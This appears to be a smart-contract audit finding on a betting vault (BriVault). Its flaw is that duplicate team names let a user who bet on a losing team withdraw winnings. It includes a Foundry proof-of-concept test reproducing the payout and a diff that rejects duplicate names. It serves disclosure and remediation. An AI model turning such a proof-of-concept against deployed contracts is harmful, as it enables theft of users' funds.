function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
@> if (
@> keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
@> keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
In this next test, we will make the team in Index 5 and Index 10 have the same name, and have user number 1 bet on the losing team in Index 5, while users number 2 through 5 bet on the winning team in Index 10. Then, we will withdraw the funds from the losing user number 1.
Put this test in `briVault.t.sol`
<details>
<summary>POC</summary>
```javascript
function test_duplicateTeamName_vulnerability() public {
vm.startPrank(owner);
string[48] memory dupCountries = countries;
dupCountries[10] = dupCountries[5];
briVault.setCountry(dupCountries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user1);
briVault.joinEvent(5);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user3);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(user4);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user4);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(user5);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user5);
briVault.joinEvent(10);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
string memory winning = briVault.setWinner(10);
console.log("Winning team (index 10):", winning);
console.log("Finalized vault asset:", briVault.finalizedVaultAsset());
vm.stopPrank();
vm.startPrank(user1);
uint256 beforeBal = mockToken.balanceOf(user1);
briVault.withdraw();
uint256 afterBal = mockToken.balanceOf(user1);
uint256 withdrawn = afterBal - beforeBal;
console.log("user1 withdrawn amount (wei):", withdrawn);
vm.stopPrank();
assertTrue(withdrawn > 0, "Expected user1 to withdraw > 0 due to duplicate name vulnerability");
}
```
</details>
1. Rewrite `brivault::setCountry` like this.
```diff
function setCountry(string[48] memory countries) public onlyOwner {
- for (uint256 i = 0; i < countries.length; ++i) {
- teams[i] = countries[i];
- }
- emit CountriesSet(countries);
+ for (uint256 i = 0; i < countries.length; ++i) {
+ for (uint256 j = i + 1; j < countries.length; ++j) {
+ if (keccak256(bytes(countries[i])) == keccak256(bytes(countries[j]))) {
+ revert("duplicateCountry()");
+ }
+ }
+ teams[i] = countries[i];
+ }
+ emit CountriesSet(countries);
}
```